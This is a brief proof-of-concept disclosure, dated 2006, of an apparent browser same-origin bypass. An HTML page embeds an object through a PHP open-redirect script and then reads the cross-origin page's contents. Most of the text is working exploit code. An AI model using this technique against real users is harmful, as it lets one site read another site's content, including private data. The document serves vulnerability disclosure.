The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006 Upload the following files to Web server, go to i.html ------------------------- i.html ------------------------- <html><body onload="setTimeout('alert(o.object.documentElement.outerHTML)',1000)"> <object width=100 height=100 data=r.php?http://www.google.com/123456789 type=text/html id=o></object> </body></html> ------------------------- r.php ------------------------- <?php header("Location: ".$_SERVER["QUERY_STRING"]); ?> i.html displays content of Google Web page.